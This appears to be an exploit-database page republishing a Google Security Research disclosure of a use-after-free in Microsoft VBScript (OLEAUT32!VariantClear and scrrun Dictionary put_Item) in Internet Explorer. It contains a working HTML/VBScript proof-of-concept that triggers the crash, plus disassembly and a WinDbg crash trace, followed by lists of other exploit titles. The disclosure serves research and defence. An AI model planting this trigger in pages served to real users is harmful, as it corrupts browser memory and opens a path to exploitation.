Menu

Search for hundreds of thousands of exploits

"VBScript - 'OLEAUT32!VariantClear' and 'scrrun!VBADictionary::put_Item' Use-After-Free"

Author

Exploit author

"Google Security Research"

Platform

Exploit platform

windows

Release date

Exploit published date

2018-11-30

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
<!--
There is a use-after-free vulnerability (possibly two vulnerabilities triggerable by the same PoC, see below) in Microsoft VBScript. The vulnerability has been confirmed in Internet Explorer on Windows 7 with the latest patches applied.

PoC:
(Note that Page Heap might need to be enabled to observe the crash.)

===============================================================================
-->

<!-- saved from url=(0014)about:internet -->
<meta http-equiv="x-ua-compatible" content="IE=10">
<script type="text/vbscript">

Class class2
  Private Sub Class_Terminate()
    var17.RemoveAll
  End Sub
End Class

Set var17 = CreateObject("Scripting.Dictionary")
Set var17.Item("foo") = new class2
var17.Item("foo") = 1

</script>

<!--
===============================================================================

Preliminary Analysis:

1st issue: In OLEAUT32!VariantClear, if the Variant is an object, the object destructor is going to be called and immediately after that the variant type is going to be (un)set. However, the object destructor can call attacker-controlled VBScript and the memory holding the Variant could be freed, as demonstrated by the PoC. This is also visible in the following snippet of code taken from the 64-bit version of OLEAUT32!VariantClear:

000007fe`ff0c11d3 ff5010          call    qword ptr [rax+10h]
000007fe`ff0c11d6 66892f          mov     word ptr [rdi],bp ds:00000000`0486cfd8=????

2nd issue: Even if the 1st issue was fixed, the PoC would still trigger another issue, which is that VBADictionary::put_Item calls VariantCopy immediately after VariantClear in order to set the new value in the dictionary. If VariantClear deletes the memory containing the variant (as demonstrated earlier), VariantCopy is going to access the freed memory. This is visible in the following snippet of code from VBADictionary::put_Item:

000007fe`f08bd48a ff15200d0100    call    qword ptr [scrrun!_imp_VariantClear (000007fe`f08ce1b0)]
000007fe`f08bd490 488bd7          mov     rdx,rdi
000007fe`f08bd493 488bcb          mov     rcx,rbx
000007fe`f08bd496 ff151c0d0100    call    qword ptr [scrrun!_imp_VariantCopy (000007fe`f08ce1b8)]

Debug log:

===============================================================================

(c08.4a4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000009 ecx=0b93ffb8 edx=00a61078 esi=080e2fe8 edi=00000009
eip=759c3f3a esp=0a34b6bc ebp=0a34b6c8 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
OLEAUT32!VariantClear+0xdb:
759c3f3a 668906          mov     word ptr [esi],ax        ds:002b:080e2fe8=????

0:008> r
eax=00000000 ebx=00000009 ecx=0b93ffb8 edx=00a61078 esi=080e2fe8 edi=00000009
eip=759c3f3a esp=0a34b6bc ebp=0a34b6c8 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
OLEAUT32!VariantClear+0xdb:
759c3f3a 668906          mov     word ptr [esi],ax        ds:002b:080e2fe8=????

0:008> k
 # ChildEBP RetAddr  
00 0a34b6c8 7347329a OLEAUT32!VariantClear+0xdb
01 0a34b6e4 6b2d6ef5 IEShims!NS_ATLMitigation::APIHook_VariantClear+0x5d
02 0a34b72c 759dcc43 scrrun!VBADictionary::put_Item+0x7e
03 0a34b74c 759dcabd OLEAUT32!DispCallFunc+0x165
04 0a34b7dc 6b2d4d25 OLEAUT32!CTypeInfo2::Invoke+0x23f
05 0a34b80c 6c449b2d scrrun!VBADictionary::Invoke+0x5a
06 0a34b850 6c449a5e vbscript!IDispatchInvoke2+0xbf
07 0a34b888 6c450040 vbscript!IDispatchInvoke+0x55
08 0a34baa4 6c449171 vbscript!InvokeDispatch+0x2c0
09 0a34bacc 6c423ea1 vbscript!InvokeByName+0x48
0a 0a34bbe4 6c425d5e vbscript!CScriptRuntime::RunNoEH+0x2d4e
0b 0a34bc34 6c425c7b vbscript!CScriptRuntime::Run+0xc3
0c 0a34bd44 6c44e888 vbscript!CScriptEntryPoint::Call+0x10b
0d 0a34bda8 6c42642b vbscript!CSession::Execute+0x12b
0e 0a34bdf8 6c42bc88 vbscript!COleScript::ExecutePendingScripts+0x14f
0f 0a34be74 6c42d1b9 vbscript!COleScript::ParseScriptTextCore+0x2a4
10 0a34bea0 6d8f69d4 vbscript!COleScript::ParseScriptText+0x29
11 0a34bed8 6d85fc3b MSHTML!CActiveScriptHolder::ParseScriptText+0x51
12 0a34bf48 6d46de92 MSHTML!CScriptCollection::ParseScriptText+0x1c6
13 0a34c034 6d46da6d MSHTML!CScriptData::CommitCode+0x31e
14 0a34c0b4 6d46e5ac MSHTML!CScriptData::Execute+0x232
15 0a34c0d4 6d88f214 MSHTML!CHtmScriptParseCtx::Execute+0xed
16 0a34c128 6d2d54fd MSHTML!CHtmParseBase::Execute+0x201
17 0a34c144 6d2d4f2f MSHTML!CHtmPost::Broadcast+0x182
18 0a34c27c 6d31f3ed MSHTML!CHtmPost::Exec+0x617
19 0a34c29c 6d31f353 MSHTML!CHtmPost::Run+0x3d
1a 0a34c2b8 6d3268de MSHTML!PostManExecute+0x61
1b 0a34c2cc 6d327ae8 MSHTML!PostManResume+0x7b
1c 0a34c2fc 6d301859 MSHTML!CHtmPost::OnDwnChanCallback+0x38
1d 0a34c314 6d25d4a5 MSHTML!CDwnChan::OnMethodCall+0x2f
1e 0a34c364 6d25cfcc MSHTML!GlobalWndOnMethodCall+0x1a1
1f 0a34c3b8 762a62fa MSHTML!GlobalWndProc+0x103
20 0a34c3e4 762a6d3a user32!InternalCallWinProc+0x23
21 0a34c45c 762a77c4 user32!UserCallWinProcCheckWow+0x109
22 0a34c4bc 762a788a user32!DispatchMessageWorker+0x3b5
23 0a34c4cc 7358ab7c user32!DispatchMessageW+0xf
24 0a34f69c 735f75f8 IEFRAME!CTabWindow::_TabWindowThreadProc+0x464
25 0a34f75c 76606b7c IEFRAME!LCIETab_ThreadProc+0x3e7
26 0a34f774 73473a31 iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1c
27 0a34f7ac 75d6343d IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x94
28 0a34f7b8 77129832 kernel32!BaseThreadInitThunk+0xe
29 0a34f7f8 77129805 ntdll!__RtlUserThreadStart+0x70
2a 0a34f810 00000000 ntdll!_RtlUserThreadStart+0x1b

0:008> !heap -p -a 080e2fe8
    address 080e2fe8 found in
    _DPH_HEAP_ROOT @ a61000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    de00270:          80e2000             2000
    742990b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    771c180c ntdll!RtlDebugFreeHeap+0x0000002f
    7717a8fe ntdll!RtlpFreeHeap+0x0000005d
    77122c45 ntdll!RtlFreeHeap+0x00000142
    749898cd msvcrt!free+0x000000cd
    6b2d62ee scrrun!VBADictNode::`scalar deleting destructor'+0x00000019
    6b2d61d2 scrrun!VBADictionary::RemoveAll+0x0000004f
    759dcc43 OLEAUT32!DispCallFunc+0x00000165
    759dcabd OLEAUT32!CTypeInfo2::Invoke+0x0000023f
    6b2d4d25 scrrun!VBADictionary::Invoke+0x0000005a
    6c449b2d vbscript!IDispatchInvoke2+0x000000bf
    6c449a5e vbscript!IDispatchInvoke+0x00000055
    6c450040 vbscript!InvokeDispatch+0x000002c0
    6c449171 vbscript!InvokeByName+0x00000048
    6c423dcd vbscript!CScriptRuntime::RunNoEH+0x00002c7a
    6c425d5e vbscript!CScriptRuntime::Run+0x000000c3
    6c425c7b vbscript!CScriptEntryPoint::Call+0x0000010b
    6c4361cc vbscript!VBScriptClass::TerminateClass+0x000000a9
    6c456cc7 vbscript!VBScriptClass::Release+0x00000030
    759c49fb OLEAUT32!VariantClear+0x000000cf
    7347329a IEShims!NS_ATLMitigation::APIHook_VariantClear+0x0000005d
    6b2d6ef5 scrrun!VBADictionary::put_Item+0x0000007e
    759dcc43 OLEAUT32!DispCallFunc+0x00000165
    759dcabd OLEAUT32!CTypeInfo2::Invoke+0x0000023f
    6b2d4d25 scrrun!VBADictionary::Invoke+0x0000005a
    6c449b2d vbscript!IDispatchInvoke2+0x000000bf
    6c449a5e vbscript!IDispatchInvoke+0x00000055
    6c450040 vbscript!InvokeDispatch+0x000002c0
    6c449171 vbscript!InvokeByName+0x00000048
    6c423ea1 vbscript!CScriptRuntime::RunNoEH+0x00002d4e
    6c425d5e vbscript!CScriptRuntime::Run+0x000000c3
    6c425c7b vbscript!CScriptEntryPoint::Call+0x0000010b
-->
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
2020-12-02 "PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS" webapps windows "Amin Rawah"
2020-12-02 "Microsoft Windows - Win32k Elevation of Privilege" local windows nu11secur1ty
2020-12-01 "Global Registration Service 1.0.0.3 - 'GREGsvc.exe' Unquoted Service Path" local windows "Emmanuel Lujan"
2020-12-01 "Pearson Vue VTS 2.3.1911 Installer - VUEApplicationWrapper Unquoted Service Path" local windows Jok3r
2020-12-01 "Intel(r) Management and Security Application 5.2 - User Notification Service Unquoted Service Path" local windows "Metin Yunus Kandemir"
2020-12-01 "10-Strike Network Inventory Explorer 8.65 - Buffer Overflow (SEH)" local windows Sectechs
2020-12-01 "EPSON Status Monitor 3 'EPSON_PM_RPCV4_06' - Unquoted Service Path" local windows SamAlucard
2020-11-30 "YATinyWinFTP - Denial of Service (PoC)" remote windows strider
Release Date Title Type Platform Author
2020-02-10 "usersctp - Out-of-Bounds Reads in sctp_load_addresses_from_init" dos linux "Google Security Research"
2020-02-10 "iOS/macOS - Out-of-Bounds Timestamp Write in IOAccelCommandQueue2::processSegmentKernelCommand()" dos multiple "Google Security Research"
2020-01-28 "macOS/iOS ImageIO - Heap Corruption when Processing Malformed TIFF Image" dos multiple "Google Security Research"
2020-01-14 "Android - ashmem Readonly Bypasses via remap_file_pages() and ASHMEM_UNPIN" dos android "Google Security Research"
2020-01-14 "WeChat - Memory Corruption in CAudioJBM::InputAudioFrameToJBM" dos android "Google Security Research"
2019-12-18 "macOS 10.14.6 (18G87) - Kernel Use-After-Free due to Race Condition in wait_for_namespace_event()" dos macos "Google Security Research"
2019-12-16 "Linux 5.3 - Privilege Escalation via io_uring Offload of sendmsg() onto Kernel Thread with Kernel Creds" local linux "Google Security Research"
2019-12-11 "Adobe Acrobat Reader DC - Heap-Based Memory Corruption due to Malformed TTF Font" dos windows "Google Security Research"
2019-11-22 "Internet Explorer - Use-After-Free in JScript Arguments During toJSON Callback" dos windows "Google Security Research"
2019-11-22 "macOS 10.14.6 - root->kernel Privilege Escalation via update_dyld_shared_cache" local macos "Google Security Research"
2019-11-20 "iOS 12.4 - Sandbox Escape due to Integer Overflow in mediaserverd" dos ios "Google Security Research"
2019-11-20 "Ubuntu 19.10 - Refcount Underflow and Type Confusion in shiftfs" dos linux "Google Security Research"
2019-11-20 "Ubuntu 19.10 - ubuntu-aufs-modified mmap_region() Breaks Refcounting in overlayfs/shiftfs Error Path" dos linux "Google Security Research"
2019-11-11 "iMessage - Decoding NSSharedKeyDictionary can read ObjC Object at Attacker Controlled Address" dos multiple "Google Security Research"
2019-11-11 "Adobe Acrobat Reader DC for Windows - Use of Uninitialized Pointer due to Malformed OTF Font (CFF Table)" dos windows "Google Security Research"
2019-11-11 "Adobe Acrobat Reader DC for Windows - Use of Uninitialized Pointer due to Malformed JBIG2Globals Stream" dos windows "Google Security Research"
2019-11-05 "WebKit - Universal XSS in JSObject::putInlineSlow and JSValue::putToPrimitive" dos multiple "Google Security Research"
2019-11-05 "macOS XNU - Missing Locking in checkdirs_callback() Enables Race with fchdir_common()" dos macos "Google Security Research"
2019-11-05 "JavaScriptCore - Type Confusion During Bailout when Reconstructing Arguments Objects" dos multiple "Google Security Research"
2019-10-30 "JavaScriptCore - GetterSetter Type Confusion During DFG Compilation" dos multiple "Google Security Research"
2019-10-28 "WebKit - Universal XSS in HTMLFrameElementBase::isURLAllowed" dos multiple "Google Security Research"
2019-10-21 "Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow due to Malformed JP2 Stream (2)" dos windows "Google Security Research"
2019-10-10 "Windows Kernel - Out-of-Bounds Read in CI!CipFixImageType While Parsing Malformed PE File" dos windows "Google Security Research"
2019-10-10 "Windows Kernel - win32k.sys TTF Font Processing Pool Corruption in win32k!ulClearTypeFilter" dos windows "Google Security Research"
2019-10-10 "Windows Kernel - NULL Pointer Dereference in nt!MiOffsetToProtos While Parsing Malformed PE File" dos windows "Google Security Research"
2019-10-10 "Windows Kernel - Out-of-Bounds Read in nt!MiRelocateImage While Parsing Malformed PE File" dos windows "Google Security Research"
2019-10-10 "Windows Kernel - Out-of-Bounds Read in CI!HashKComputeFirstPageHash While Parsing Malformed PE File" dos windows "Google Security Research"
2019-10-10 "Windows Kernel - Out-of-Bounds Read in nt!MiParseImageLoadConfig While Parsing Malformed PE File" dos windows "Google Security Research"
2019-10-09 "XNU - Remote Double-Free via Data Race in IPComp Input Path" dos macos "Google Security Research"
2019-10-04 "Android - Binder Driver Use-After-Free" local android "Google Security Research"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.